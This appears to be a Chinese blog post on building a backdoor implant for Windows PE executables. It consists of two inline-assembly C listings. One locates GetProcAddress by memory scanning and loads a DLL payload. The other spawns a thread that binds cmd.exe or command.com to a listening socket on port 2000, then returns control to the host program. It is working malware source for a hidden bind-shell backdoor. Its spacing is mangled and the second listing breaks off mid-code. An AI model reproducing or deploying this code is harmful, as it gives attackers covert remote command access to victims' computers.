winzenghua
winzenghua

PE可执行文件的镶入式程序后门开发

  1. /*
  2. 利用异常结构处理搜索GetProcAddress入口地址
  3. */
  4. #include<STDIO.H>
  5. #include<WINDOWS.H>
  6. main()
  7. {
  9. _asm
  10. {
  11. callex//取得当前地址以计算异常结构开始的地址
  12. moveax,0x77000000
  13. mov[ebp-0ch],eax
  14. moveax,esp
  15. subeax,8
  16. xchgfs:[0],eax
  17. movDWORDptr[ebp-00h],eax
  18. moveax,fs:[4]
  19. movDWORDptr[ebp-04h],eax
  20. movfs:[4h],ebp//保存ebp到fs:[4h]中
  21. addecx,34h
  22. pushecx
  23. pusheax
  24. movedx,0
  25. movbyteptr[edx],0//产生错误
  26. }
  29. //异常结构开始
  30. _asm
  31. {
  32. movebp,fs:[4]
  33. movdwordptr[ebp-8h],0
  34. //for(;imgbase<0xff000000,procgetadd==0;){
  35. e104f:
  36. cmpdwordptr[ebp-8h],0
  37. jneexi
  38. //imgbase+=0x10000;
  39. moveax,[ebp-0ch]
  40. addeax,10000h
  41. mov[ebp-0ch],eax
  42. //if(imgbase==0x78000000)imgbase=0xbff00000;
  43. cmpdwordptr[ebp-0ch],78000000h
  44. jneis44
  45. movdwordptr[ebp-0ch],0BFF00000h
  47. /*if(*(WORD*)imgbase=='ZM'&&*(WORD*)(imgbase+*(int
  48. *)(imgbase+0x3c))=='EP'){*/
  50. is44:
  52. movecx,dwordptr[ebp-0ch]
  53. xoredx,edx
  54. movdx,wordptr[ecx]
  55. movdwordptr[ebp-24h],ecx
  56. cmpedx,5A4Dh//ZM
  57. jnee11db
  58. moveax,[ebp-0ch]
  59. movecx,dwordptr[eax+3Ch]
  60. movedx,dwordptr[ebp-0ch]
  61. xoreax,eax
  62. movax,wordptr[edx+ecx]
  63. cmpeax,4550h
  64. jnee11db
  66. //fnbase=*(int*)(imgbase+*(int*)(imgbase+0x3c)+0x78)+imgbase;
  67. movecx,dwordptr[ebp-0ch]
  68. movedx,dwordptr[ecx+3Ch]
  69. moveax,[ebp-0ch]
  70. movecx,dwordptr[eax+edx+78h]
  71. addecx,dwordptr[ebp-0ch]
  72. movdwordptr[ebp-10h],ecx
  73. //k=*(int*)(fnbase+0xc)+imgbase;
  74. movedx,dwordptr[ebp-10h]
  75. moveax,dwordptr[edx+0Ch]
  76. addeax,dwordptr[ebp-0ch]
  77. movdwordptr[ebp-14h],eax
  79. //if(*(int*)k=='NREK'&&*(int*)(k+4)=='23LE'){
  80. movecx,dwordptr[ebp-14h]
  81. cmpdwordptr[ecx],4E52454Bh
  82. jnee11db
  83. movedx,dwordptr[ebp-14h]
  84. cmpdwordptr[edx+4],32334C45h
  85. jnee11db
  86. //k=imgbase+*(int*)(fnbase+0x20);
  87. moveax,dwordptr[ebp-10h]
  88. movecx,dwordptr[ebp-0ch]
  89. addecx,dwordptr[eax+20h]
  90. movdwordptr[ebp-14h],ecx
  91. //for(l=0;l<*(int*)(fnbase+0x18);++l,k+=4){
  92. movdwordptr[ebp-18h],0
  93. jmpe1127
  94. e1115:
  95. movedx,dwordptr[ebp-18h]
  96. addedx,1
  97. movdwordptr[ebp-18h],edx
  98. moveax,dwordptr[ebp-14h]
  99. addeax,4
  100. movdwordptr[ebp-14h],eax
  101. e1127:
  102. movecx,dwordptr[ebp-10h]
  103. movedx,dwordptr[ebp-18h]
  104. cmpedx,dwordptr[ecx+18h]
  105. jgee11db
  106. /*if(*(int*)(imgbase+*(int*)k)=='tixE'&&*(int*)(4+imgbase+*(int
  107. *)k)=='corP'){GetProcAddress*/
  108. moveax,dwordptr[ebp-14h]
  109. movecx,dwordptr[eax]
  110. movedx,dwordptr[ebp-0ch]
  111. cmpdwordptr[edx+ecx],'PteG'
  112. jnee11d6
  113. moveax,dwordptr[ebp-14h]
  114. movecx,dwordptr[eax]
  115. movedx,dwordptr[ebp-0ch]
  116. cmpdwordptr[edx+ecx+4],'Acor'
  117. jnee11d6
  118. //k=*(WORD*)(l+l+imgbase+*(int*)(fnbase+0x24));
  119. moveax,dwordptr[ebp-18h]
  120. addeax,dwordptr[ebp-18h]
  121. addeax,dwordptr[ebp-0ch]
  122. movecx,dwordptr[ebp-10h]
  123. movedx,dwordptr[ecx+24h]
  124. xorecx,ecx
  125. movcx,wordptr[eax+edx]
  126. movdwordptr[ebp-14h],ecx
  127. //k+=*(int*)(fnbase+0x10)-1;
  128. movedx,dwordptr[ebp-10h]
  129. moveax,dwordptr[edx+10h]
  130. movecx,dwordptr[ebp-14h]
  131. leaedx,dwordptr[ecx+eax-1]
  132. movdwordptr[ebp-14h],edx
  133. //k=*(int*)(k+k+k+k+imgbase+*(int*)(fnbase+0x1c));
  134. moveax,dwordptr[ebp-14h]
  135. addeax,dwordptr[ebp-14h]
  136. addeax,dwordptr[ebp-14h]
  137. addeax,dwordptr[ebp-14h]
  138. addeax,dwordptr[ebp-0ch]
  139. movecx,dwordptr[ebp-10h]
  140. movedx,dwordptr[ecx+1Ch]
  141. moveax,dwordptr[eax+edx]
  142. movdwordptr[ebp-14h],eax
  143. movedx,dwordptr[ebp-14h]
  144. //addedx,imgbase
  145. addedx,dwordptr[ebp-0ch]
  146. //movprocgetadd,edx
  147. movdwordptr[ebp-8h],edx
  149. //恢复异常结构
  151. moveax,DWORDptr[ebp-00h]
  152. movfs:[0],eax
  153. moveax,DWORDptr[ebp-04h]
  154. movfs:[4],eax
  156. jmpe11db
  157. e11d6:
  158. jmpe1115
  159. e11db:
  160. jmpe104f
  163. }
  164. //////////////////////////////////////////////////////////////
  165. exi:
  166. //取得LoadLibraryA入口地址
  168. _asm
  169. {
  170. movdwordptr[ebp-124h],'daoL'
  171. movdwordptr[ebp-120h],'rbiL'
  172. movdwordptr[ebp-11Ch],'Ayra'
  173. movdwordptr[ebp-118h],0000h
  174. leaeax,[ebp-124h]
  175. pusheax
  176. movebx,dwordptr[ebp-24h]//kernel32.dll入口地址
  177. pushebx
  178. moveax,dwordptr[ebp-8h]
  179. movdwordptr[ebp-4008h],eax//GetProcAddress入口地址
  180. calleax
  181. movdwordptr[ebp-400ch],eax//LoadLibraryA入口地址
  182. }
  184. //加载mydll.dll
  186. _asm
  187. {
  188. movdwordptr[ebp-124h],'ldym'
  189. movdwordptr[ebp-120h],'ld.l'
  190. movdwordptr[ebp-11Ch],'l'
  191. movdwordptr[ebp-118h],0000h
  192. leaeax,[ebp-124h]
  193. pusheax
  194. calldwordptr[ebp-400ch]
  195. cmpeax,0
  196. jzexit1
  197. movebx,eax
  199. //取得mybegin入口地址
  201. movdwordptr[ebp-124h],'gebM'
  202. movdwordptr[ebp-120h],'ni'
  203. movdwordptr[ebp-11Ch],0000h
  204. movdwordptr[ebp-118h],0000h
  205. leaeax,[ebp-124h]
  206. pusheax
  207. pushebx
  208. calldwordptr[ebp-4008h]
  209. movdwordptr[ebp-4030h],eax//mybegin入口地址
  210. cmpeax,0
  211. jzexit1
  212. calleax//执行mybegin
  213. jmpexit1
  214. }
  216. ex:
  217. _asm
  218. {
  219. popecx
  220. pushecx
  221. ret
  222. }
  223. exit1:
  225. _asm
  226. {
  227. moveax,0x401000//这个跳转地址在代码中需要更改
  228. jmpeax
  229. }
  230. return0;
  231. }

  1. /*
  2. 利用异常结构处理搜索GetProcAddress入口地址
  3. 然后用这个函数加载其他api函数.实现线程一个返回另一个
  4. 绑定cmd.exe或command.com功能
  5. */
  6. #include<STDIO.H>
  7. #include<WINDOWS.H>
  8. main()
  9. {
  10. _asm
  11. {
  12. callex
  13. moveax,0x77000000
  14. mov[ebp-0ch],eax
  15. moveax,esp
  16. subeax,8
  17. xchgfs:[0],eax
  18. movDWORDptr[ebp-00h],eax
  19. moveax,fs:[4]
  20. movDWORDptr[ebp-04h],eax
  21. movfs:[4h],ebp
  22. addecx,34h
  23. pushecx
  24. pusheax
  25. movedx,0
  26. movbyteptr[edx],0
  27. movebp,fs:[4]
  28. movdwordptr[ebp-8h],0
  29. e104f:
  30. cmpdwordptr[ebp-8h],0
  31. jneexi
  32. moveax,[ebp-0ch]
  33. addeax,10000h
  34. mov[ebp-0ch],eax
  35. cmpdwordptr[ebp-0ch],78000000h
  36. jneis44
  37. movdwordptr[ebp-0ch],0BFF00000h
  38. is44:
  39. movecx,dwordptr[ebp-0ch]
  40. xoredx,edx
  41. movdx,wordptr[ecx]
  42. movdwordptr[ebp-24h],ecx
  43. cmpedx,5A4Dh//ZM
  44. jnee11db
  45. moveax,[ebp-0ch]
  46. movecx,dwordptr[eax+3Ch]
  47. movedx,dwordptr[ebp-0ch]
  48. xoreax,eax
  49. movax,wordptr[edx+ecx]
  50. cmpeax,4550h
  51. jnee11db
  52. movecx,dwordptr[ebp-0ch]
  53. movedx,dwordptr[ecx+3Ch]
  54. moveax,[ebp-0ch]
  55. movecx,dwordptr[eax+edx+78h]
  56. addecx,dwordptr[ebp-0ch]
  57. movdwordptr[ebp-10h],ecx
  58. movedx,dwordptr[ebp-10h]
  59. moveax,dwordptr[edx+0Ch]
  60. addeax,dwordptr[ebp-0ch]
  61. movdwordptr[ebp-14h],eax
  62. movecx,dwordptr[ebp-14h]
  63. cmpdwordptr[ecx],4E52454Bh
  64. jnee11db
  65. movedx,dwordptr[ebp-14h]
  66. cmpdwordptr[edx+4],32334C45h
  67. jnee11db
  68. moveax,dwordptr[ebp-10h]
  69. movecx,dwordptr[ebp-0ch]
  70. addecx,dwordptr[eax+20h]
  71. movdwordptr[ebp-14h],ecx
  72. movdwordptr[ebp-18h],0
  73. jmpe1127
  74. e1115:
  75. movedx,dwordptr[ebp-18h]
  76. addedx,1
  77. movdwordptr[ebp-18h],edx
  78. moveax,dwordptr[ebp-14h]
  79. addeax,4
  80. movdwordptr[ebp-14h],eax
  81. e1127:
  82. movecx,dwordptr[ebp-10h]
  83. movedx,dwordptr[ebp-18h]
  84. cmpedx,dwordptr[ecx+18h]
  85. jgee11db
  86. moveax,dwordptr[ebp-14h]
  87. movecx,dwordptr[eax]
  88. movedx,dwordptr[ebp-0ch]
  89. cmpdwordptr[edx+ecx],'PteG'
  90. jnee11d6
  91. moveax,dwordptr[ebp-14h]
  92. movecx,dwordptr[eax]
  93. movedx,dwordptr[ebp-0ch]
  94. cmpdwordptr[edx+ecx+4],'Acor'
  95. jnee11d6
  96. moveax,dwordptr[ebp-18h]
  97. addeax,dwordptr[ebp-18h]
  98. addeax,dwordptr[ebp-0ch]
  99. movecx,dwordptr[ebp-10h]
  100. movedx,dwordptr[ecx+24h]
  101. xorecx,ecx
  102. movcx,wordptr[eax+edx]
  103. movdwordptr[ebp-14h],ecx
  104. movedx,dwordptr[ebp-10h]
  105. moveax,dwordptr[edx+10h]
  106. movecx,dwordptr[ebp-14h]
  107. leaedx,dwordptr[ecx+eax-1]
  108. movdwordptr[ebp-14h],edx
  109. moveax,dwordptr[ebp-14h]
  110. addeax,dwordptr[ebp-14h]
  111. addeax,dwordptr[ebp-14h]
  112. addeax,dwordptr[ebp-14h]
  113. addeax,dwordptr[ebp-0ch]
  114. movecx,dwordptr[ebp-10h]
  115. movedx,dwordptr[ecx+1Ch]
  116. moveax,dwordptr[eax+edx]
  117. movdwordptr[ebp-14h],eax
  118. movedx,dwordptr[ebp-14h]
  119. addedx,dwordptr[ebp-0ch]
  120. movdwordptr[ebp-8h],edx
  121. //恢复异常结构
  122. moveax,DWORDptr[ebp-00h]
  123. movfs:[0],eax
  124. moveax,DWORDptr[ebp-04h]
  125. movfs:[4],eax
  126. jmpe11db
  127. e11d6:
  128. jmpe1115
  129. e11db:
  130. jmpe104f
  132. }
  134. //////////////////////////////////////////////////////////////
  136. exi:
  138. //取得各个需要函数的地址
  140. //取得LoadLibraryA入口地址
  141. _asm
  143. {
  144. callex1
  145. movdwordptr[ecx-0C70h],ebp
  146. movdwordptr[ebp-124h],'daoL'
  147. movdwordptr[ebp-120h],'rbiL'
  148. movdwordptr[ebp-11Ch],'Ayra'
  149. movdwordptr[ebp-118h],0000h
  150. leaeax,[ebp-124h]
  151. pusheax
  152. movebx,dwordptr[ebp-24h]//kernel32.dll入口地址
  153. pushebx
  154. moveax,dwordptr[ebp-8h]
  155. movdwordptr[ebp-4008h],eax//GetProcAddress入口地址
  156. calleax
  157. movdwordptr[ebp-400ch],eax//LoadLibraryA入口地址
  159. //CreatePipe入口地址
  160. movdwordptr[ebp-124h],'aerC'
  161. movdwordptr[ebp-120h],'iPet'
  162. movdwordptr[ebp-11Ch],'ep'
  163. movdwordptr[ebp-118h],0000h
  164. leaeax,[ebp-124h]
  165. pusheax
  166. pushebx
  167. calldwordptr[ebp-8h]
  168. movdwordptr[ebp-4000h],eax//CreatePipe入口地址
  169. cmpeax,0
  170. jzexit1
  172. //GetVersion入口地址
  174. movdwordptr[ebp-124h],'VteG'
  175. movdwordptr[ebp-120h],'isre'
  176. movdwordptr[ebp-11Ch],'no'
  177. movdwordptr[ebp-118h],0000h
  178. leaeax,[ebp-124h]
  179. pusheax
  180. pushebx
  181. calldwordptr[ebp-8h]
  182. movdwordptr[ebp-4004h],eax//GetVersion入口地址
  183. cmpeax,0
  184. jzexit1
  186. //CloseHandle入口地址
  188. movdwordptr[ebp-124h],'solC'
  189. movdwordptr[ebp-120h],'naHe'
  190. movdwordptr[ebp-11Ch],'eld'
  191. movdwordptr[ebp-118h],0000h
  192. leaeax,[ebp-124h]
  193. pusheax
  194. pushebx
  195. calldwordptr[ebp-8h]
  196. movdwordptr[ebp-4010h],eax//CloseHandle入口地址
  197. cmpeax,0
  198. jzexit1
  200. //ExitThread入口地址
  202. movdwordptr[ebp-124h],'tixE'
  203. movdwordptr[ebp-120h],'erhT'
  204. movdwordptr[ebp-11Ch],'da'
  205. movdwordptr[ebp-118h],0000h
  206. leaeax,[ebp-124h]
  207. pusheax
  208. pushebx
  209. calldwordptr[ebp-8h]
  210. movdwordptr[ebp-4014h],eax//ExitThread入口地址
  211. cmpeax,0
  212. jzexit1
  214. //Sleep入口地址
  216. movdwordptr[ebp-124h],'eelS'
  217. movdwordptr[ebp-120h],'p'
  218. movdwordptr[ebp-11Ch],0000h
  219. leaeax,[ebp-124h]
  220. pusheax
  221. pushebx
  222. calldwordptr[ebp-8h]
  223. movdwordptr[ebp-4018h],eax//Sleep入口地址
  224. cmpeax,0
  225. jzexit1
  227. //WriteFile入口地址
  229. movdwordptr[ebp-124h],'tirW'
  230. movdwordptr[ebp-120h],'liFe'
  231. movdwordptr[ebp-11Ch],'e'
  232. movdwordptr[ebp-118h],0000h
  233. leaeax,[ebp-124h]
  234. pusheax
  235. pushebx
  236. calldwordptr[ebp-8h]
  237. movdwordptr[ebp-401Ch],eax//WriteFile入口地址
  238. cmpeax,0
  239. jzexit1
  241. //PeekNamedPipe入口地址
  243. movdwordptr[ebp-124h],'keeP'
  244. movdwordptr[ebp-120h],'emaN'
  245. movdwordptr[ebp-11Ch],'piPd'
  246. movdwordptr[ebp-118h],'e'
  247. leaeax,[ebp-124h]
  248. pusheax
  249. pushebx
  250. calldwordptr[ebp-8h]
  251. movdwordptr[ebp-4020h],eax//PeekNamedPipe入口地址
  252. cmpeax,0
  253. jzexit1
  255. //ReadFile入口地址
  257. movdwordptr[ebp-124h],'daeR'
  258. movdwordptr[ebp-120h],'eliF'
  259. movdwordptr[ebp-11Ch],0000h
  260. leaeax,[ebp-124h]
  261. pusheax
  262. pushebx
  263. calldwordptr[ebp-8h]
  264. movdwordptr[ebp-4024h],eax//ReadFile入口地址
  265. cmpeax,0
  266. jzexit1
  268. //GetStartupInfoA入口地址
  270. movdwordptr[ebp-124h],'SteG'
  271. movdwordptr[ebp-120h],'trat'
  272. movdwordptr[ebp-11Ch],'nIpu'
  273. movdwordptr[ebp-118h],'Aof'
  274. leaeax,[ebp-124h]
  275. pusheax
  276. pushebx
  277. calldwordptr[ebp-8h]
  278. movdwordptr[ebp-4028h],eax//GetStartupInfoA入口地址
  279. cmpeax,0
  280. jzexit1
  282. //CreateProcessA入口地址
  284. movdwordptr[ebp-124h],'aerC'
  285. movdwordptr[ebp-120h],'rPet'
  286. movdwordptr[ebp-11Ch],'seco'
  287. movdwordptr[ebp-118h],'As'
  288. leaeax,[ebp-124h]
  289. pusheax
  290. pushebx
  291. calldwordptr[ebp-8h]
  292. movdwordptr[ebp-402Ch],eax//CreateProcessA入口地址
  293. cmpeax,0
  294. jzexit1
  296. //CreateThread入口地址
  298. movdwordptr[ebp-124h],'aerC'
  299. movdwordptr[ebp-120h],'hTet'
  300. movdwordptr[ebp-11Ch],'daer'
  301. movdwordptr[ebp-118h],0000h
  302. leaeax,[ebp-124h]
  303. pusheax
  304. pushebx
  305. calldwordptr[ebp-8h]
  306. movdwordptr[ebp-4008h],eax//CreateThread入口地址
  307. cmpeax,0
  308. jzexit1
  309. }
  311. //loadwsock32.dll
  312. _asm
  313. {
  314. movdwordptr[ebp-124h],'cosw'
  315. movdwordptr[ebp-120h],'.23k'
  316. movdwordptr[ebp-11Ch],'lld'
  317. movdwordptr[ebp-118h],0000h
  318. leaeax,[ebp-124h]
  319. pusheax
  320. calldwordptr[ebp-400ch]
  321. cmpeax,0
  322. jzexit1
  323. movebx,eax
  325. //WSAStartup入口地址
  327. movdwordptr[ebp-124h],'SASW'
  328. movdwordptr[ebp-120h],'trat'
  329. movdwordptr[ebp-11Ch],'pu'
  330. movdwordptr[ebp-118h],0000h
  331. leaeax,[ebp-124h]
  332. pusheax
  333. pushebx
  334. calldwordptr[ebp-8h]
  335. movdwordptr[ebp-4030h],eax//WSAStartup入口地址
  336. cmpeax,0
  337. jzexit1
  338. //__WSAFDIsSet入口地址
  339. movdwordptr[ebp-124h],'SW__'
  340. movdwordptr[ebp-120h],'IDFA'
  341. movdwordptr[ebp-11Ch],'teSs'
  342. movdwordptr[ebp-118h],0000h
  343. leaeax,[ebp-124h]
  344. pusheax
  345. pushebx
  346. calldwordptr[ebp-8h]
  347. movdwordptr[ebp-4034h],eax//__WSAFDIsSet入口地址
  348. cmpeax,0
  349. jzexit1
  350. //socket入口地址
  351. movdwordptr[ebp-124h],'kcos'
  352. movdwordptr[ebp-120h],'te'
  353. movdwordptr[ebp-11Ch],0000h
  354. leaeax,[ebp-124h]
  355. pusheax
  356. pushebx
  357. calldwordptr[ebp-8h]
  358. movdwordptr[ebp-4038h],eax//socket入口地址
  359. cmpeax,0
  360. jzexit1
  361. //closesocket入口地址
  362. movdwordptr[ebp-124h],'solc'
  363. movdwordptr[ebp-120h],'cose'
  364. movdwordptr[ebp-11Ch],'tek'
  365. movdwordptr[ebp-118h],0000h
  366. leaeax,[ebp-124h]
  367. pusheax
  368. pushebx
  369. calldwordptr[ebp-8h]
  370. movdwordptr[ebp-403Ch],eax//closesocket入口地址
  371. cmpeax,0
  372. jzexit1
  373. //select入口地址
  374. movdwordptr[ebp-124h],'eles'
  375. movdwordptr[ebp-120h],'tc'
  376. movdwordptr[ebp-11Ch],0000h
  377. leaeax,[ebp-124h]
  378. pusheax
  379. pushebx
  380. calldwordptr[ebp-8h]
  381. movdwordptr[ebp-4040h],eax//select入口地址
  382. cmpeax,0
  383. jzexit1
  384. //recv入口地址
  385. movdwordptr[ebp-124h],'vcer'
  386. movdwordptr[ebp-120h],0000h
  387. leaeax,[ebp-124h]
  388. pusheax
  389. pushebx
  390. calldwordptr[ebp-8h]
  391. movdwordptr[ebp-4044h],eax//recv入口地址
  392. cmpeax,0
  393. jzexit1
  394. //send入口地址
  395. movdwordptr[ebp-124h],'dnes'
  396. movdwordptr[ebp-120h],0000h
  397. leaeax,[ebp-124h]
  398. pusheax
  399. pushebx
  400. calldwordptr[ebp-8h]
  401. movdwordptr[ebp-4048h],eax//send入口地址
  402. cmpeax,0
  403. jzexit1
  404. //htons入口地址
  405. movdwordptr[ebp-124h],'noth'
  406. movdwordptr[ebp-120h],'s'
  407. movdwordptr[ebp-11Ch],0000h
  408. leaeax,[ebp-124h]
  409. pusheax
  410. pushebx
  411. calldwordptr[ebp-8h]
  412. movdwordptr[ebp-404Ch],eax//htons入口地址
  413. cmpeax,0
  414. jzexit1
  415. //bind入口地址
  416. movdwordptr[ebp-124h],'dnib'
  417. movdwordptr[ebp-120h],0000h
  418. leaeax,[ebp-124h]
  419. pusheax
  420. pushebx
  421. calldwordptr[ebp-8h]
  422. movdwordptr[ebp-4050h],eax//bind入口地址
  423. cmpeax,0
  424. jzexit1
  425. //listen入口地址
  426. movdwordptr[ebp-124h],'tsil'
  427. movdwordptr[ebp-120h],'ne'
  428. movdwordptr[ebp-11Ch],0000h
  429. leaeax,[ebp-124h]
  430. pusheax
  431. pushebx
  432. calldwordptr[ebp-8h]
  433. movdwordptr[ebp-4054h],eax//listen入口地址
  434. cmpeax,0
  435. jzexit1
  436. //accept入口地址
  437. movdwordptr[ebp-124h],'ecca'
  438. movdwordptr[ebp-120h],'tp'
  439. movdwordptr[ebp-11Ch],0000h
  440. leaeax,[ebp-124h]
  441. pusheax
  442. pushebx
  443. calldwordptr[ebp-8h]
  444. movdwordptr[ebp-4058h],eax//accept入口地址
  445. cmpeax,0
  446. jzexit1
  447. }
  448. //loadmsvcrt.dll
  449. _asm
  450. {
  451. movdwordptr[ebp-124h],'cvsm'
  452. movdwordptr[ebp-120h],'d.tr'
  453. movdwordptr[ebp-11Ch],'ll'
  454. movdwordptr[ebp-118h],0000h
  455. leaeax,[ebp-124h]
  456. pusheax
  457. calldwordptr[ebp-400ch]
  458. cmpeax,0
  459. jzexit1
  460. movebx,eax
  461. //memset入口地址
  462. movdwordptr[ebp-124h],'smem'
  463. movdwordptr[ebp-120h],'te'
  464. movdwordptr[ebp-11Ch],0000h
  465. leaeax,[ebp-124h]
  466. pusheax
  467. pushebx
  468. calldwordptr[ebp-8h]
  469. movdwordptr[ebp-4090h],eax//memset入口地址
  470. cmpeax,0
  471. jzexit1
  472. }
  474. //////////////////////////////////////////////////////////////
  476. //建立后门线程
  478. /////////////////////////////////////////////////////////////
  479. _asm
  480. {
  481. callex
  482. addecx,32h//取得后门代码的地址
  483. movdwordptr[ebp-8],1
  484. movdwordptr[ebp-0Ch],0
  485. movdwordptr[ebp-10h],0Ch
  486. leaeax,[ebp-4]
  487. pusheax
  488. push0
  489. push0
  490. pushecx
  491. push0
  492. leaecx,[ebp-10h]
  493. pushecx
  494. calldwordptr[ebp-4008h]
  495. callexit1//返回真正的代码
  496. }
  497. //////////////////////////////////////////////////////////////
  498. //建立后门
  499. /////////////////////////////////////////////////////////////
  500. _asm
  501. {
  502. moveax,0x400
  503. callex1
  504. movebp,dwordptr[ecx-0C70h]
  505. movbyteptr[ebp-1340h],0Dh
  506. movdwordptr[ebp-11ECh],0FFFFFFFFh
  507. movdwordptr[ebp-1DCh],0
  508. movdwordptr[ebp-1D8h],32h
  509. movdwordptr[ebp-1E4h],10h
  510. calldwordptr[ebp-4004h]
  511. cmpeax,80000000h
  512. jnbloc_0040106C
  513. movdwordptr[ebp-11ECh],1
  514. movdwordptr[ebp-4118h],'.dmc'
  515. movdwordptr[ebp-4114h],'exe'
  516. movdwordptr[ebp-4110h],00000000h
  517. jmploc_0040107D
  518. loc_0040106C:
  519. movdwordptr[ebp-11ECh],0
  520. movdwordptr[ebp-4118h],'mmoc'
  521. movdwordptr[ebp-4114h],'.dna'
  522. movdwordptr[ebp-4110h],'moc'
  523. loc_0040107D:
  524. leaeax,[ebp-1D4h]
  525. pusheax
  526. push101h
  527. calldwordptr[ebp-4030h]
  528. push0
  529. push1
  530. push2
  531. calldwordptr[ebp-4038h]
  532. mov[ebp-30h],eax
  533. push0
  534. push1
  535. push2
  536. calldwordptr[ebp-4038h]
  537. mov[ebp-12F8h],eax
  538. movwordptr[ebp-28h],2
  539. push7D0h
  540. calldwordptr[ebp-404Ch]
  541. mov[ebp-26h],ax
  542. movdwordptr[ebp-24h],0
  543. movdwordptr[ebp-44h],0Ch
  544. movdwordptr[ebp-40h],0
  545. movdwordptr[ebp-3Ch],1
  546. push10h
  547. leaecx,[ebp-28h]
  548. pushecx
  549. movedx,[ebp-30h]
  550. pushedx
  551. calldwordptr[ebp-4050h]
  552. push2
  553. moveax,[ebp-30h]
  554. pusheax
  555. calldwordptr[ebp-4054h]
  556. loc_004010F7:
  557. leaecx,[ebp-1E4h]
  558. pushecx
  559. leaedx,[ebp-28h]
  560. pushedx
  561. moveax,[ebp-30h]
  562. pusheax
  563. calldwordptr[ebp-4058h]
  564. mov[ebp-12F8h],eax
  565. cmpdwordptr[ebp-12F8h],0FFFFFFFFh
  566. jnzloc_00401121
  567. xoreax,eax
  568. jmploc_00401419
  569. loc_00401121:
  570. push0
  571. leaecx,[ebp-44h]
  572. pushecx
  573. leaedx,[ebp-34h]
  574. pushedx
  575. leaeax,[ebp-38h]
  576. pusheax
  577. calldwordptr[ebp-4000h]
  578. testeax,eax
  579. jnzloc_00401140
  580. xoreax,eax
  581. jmploc_00401419
  582. loc_00401140:
  583. push0
  584. leaecx,[ebp-44h]
  585. pushecx
  586. leaedx,[ebp-1E0h]
  587. pushedx
  588. leaeax,[ebp-2Ch]
  589. pusheax
  590. calldwordptr[ebp-4000h]
  591. push44h
  592. push0
  593. leaecx,[ebp-133Ch]
  594. pushecx
  595. calldwordptr[ebp-4090h]
  596. addesp,0Ch
  597. leaedx,[ebp-133Ch]
  598. pushedx
  599. calldwordptr[ebp-4028h]
  600. movdwordptr[ebp-133Ch],44h
  601. movdwordptr[ebp-1310h],101h
  602. movwordptr[ebp-130Ch],0
  603. moveax,[ebp-34h]
  604. mov[ebp-12FCh],eax
  605. movecx,[ebp-2Ch]
  606. mov[ebp-1304h],ecx
  607. movedx,[ebp-34h]
  608. mov[ebp-1300h],edx
  609. leaeax,[ebp-14h]
  610. pusheax
  611. leaecx,[ebp-133Ch]
  612. pushecx
  613. push0
  614. push0
  615. push0
  616. push1
  617. push0
  618. push0
  619. leaedx,[ebp-4118h]
  620. pushedx
  621. push0
  622. calldwordptr[ebp-402Ch]
  623. testeax,eax
  624. jnzloc_004011DD
  625. xoreax,eax
  626. jmploc_00401419
  627. loc_004011DD:
  628. push0C8h
  629. calldwordptr[ebp-4018h]
  630. loc_004011E8:
  631. moveax,1
  632. testeax,eax
  633. jeloc_004013C8
  634. push1000h
  635. push0
  636. leaecx,[ebp-11E8h]
  637. pushecx
  638. calldwordptr[ebp-4090h]
  639. addesp,0Ch
  640. movdwordptr[ebp-12F4h],0
  641. loc_00401215:
  642. cmpdwordptr[ebp-12F4h],40h
  643. jnbloc_00401240
  644. movedx,[ebp-12F4h]
  645. moveax,[ebp-12F8h]
  646. mov[ebp+edx*4-12F0h],eax
  647. movecx,[ebp-12F4h]
  648. addecx,1
  649. mov[ebp-12F4h],ecx
  650. loc_00401240:
  651. xoredx,edx
  652. testedx,edx
  653. jnzloc_00401215
  654. leaeax,[ebp-1DCh]
  655. pusheax
  656. push0
  657. push0
  658. leaecx,[ebp-12F4h]
  659. pushecx
  660. push0
  661. calldwordptr[ebp-4040h]
  662. mov[ebp-11F0h],eax
  663. cmpdwordptr[ebp-11F0h],0
  664. jeloc_00401338
  665. cmpdwordptr[ebp-11F0h],0FFFFFFFFh
  666. jeloc_00401338
  667. leaedx,[ebp-12F4h]
  668. pushedx
  669. moveax,[ebp-12F8h]
  670. pusheax
  671. calldwordptr[ebp-4034h]
  672. testeax,eax
  673. jzloc_004012B6
  674. push0
  675. push1000h
  676. leaecx,[ebp-11E8h]
  677. pushecx
  678. movedx,[ebp-12F8h]
  679. pushedx
  680. calldwordptr[ebp-4044h]
  681. mov[ebp-1E8h],eax
  682. loc_004012B6:
  683. cmpdwordptr[ebp-1E8h],0
  684. jaloc_004012C4
  685. jmploc_00401417
  686. loc_004012C4:
  687. push0
  688. leaeax,[ebp-1E8h]
  689. pusheax
  690. movecx,[ebp-1E8h]
  691. pushecx
  692. leaedx,[ebp-11E8h]
  693. pushedx
  694. moveax,[ebp-1E0h]
  695. pusheax
  696. calldwordptr[ebp-401Ch]
  697. mov[ebp-11F0h],eax
  698. cmpdwordptr[ebp-11F0h],0
  699. jnzloc_004012FC
  700. jmploc_00401415
  701. loc_004012FC:
  702. cmpdwordptr[ebp-11ECh],0
  703. jnzloc_0040132A
  704. push0
  705. leaecx,[ebp-1E8h]
  706. pushecx
  707. push1
  708. leaedx,[ebp-1340h]
  709. pushedx
  710. moveax,[ebp-1E0h]
  711. pusheax
  712. calldwordptr[ebp-401Ch]
  713. mov[ebp-11F0h],eax
  714. loc_0040132A:
  715. cmpdwordptr[ebp-11F0h],0
  716. jnzloc_00401338
  717. jmploc_00401413
  718. loc_00401338:
  719. push1000h
  720. push0
  721. leaecx,[ebp-11E8h]
  722. pushecx
  723. calldwordptr[ebp-4090h]
  724. addesp,0Ch
  725. push0
  726. leaedx,[ebp-4]
  727. pushedx
  728. push0
  729. push0
  730. push0
  731. moveax,[ebp-38h]
  732. pusheax
  733. calldwordptr[ebp-4020h]
  734. cmpdwordptr[ebp-4],0
  735. jbeloc_004013C3
  736. push0
  737. leaecx,[ebp-1E8h]
  738. pushecx
  739. movedx,[ebp-4]
  740. pushedx
  741. leaeax,[ebp-11E8h]
  742. pusheax
  743. movecx,[ebp-38h]
  744. pushecx
  745. calldwordptr[ebp-4024h]
  746. mov[ebp-11F0h],eax
  747. cmpdwordptr[ebp-11F0h],0
  748. jnzloc_00401399
  749. jmploc_00401411
  750. loc_00401399:
  751. push0
  752. movedx,[ebp-4]
  753. pushedx
  754. leaeax,[ebp-11E8h]
  755. pusheax
  756. movecx,[ebp-12F8h]
  757. pushecx
  758. calldwordptr[ebp-4048h]
  759. mov[ebp-11F0h],eax
  760. cmpdwordptr[ebp-11F0h],0
  761. jgloc_004013C3
  762. jmploc_0040140F
  763. loc_004013C3:
  764. jmploc_004011E8
  765. loc_004013C8:
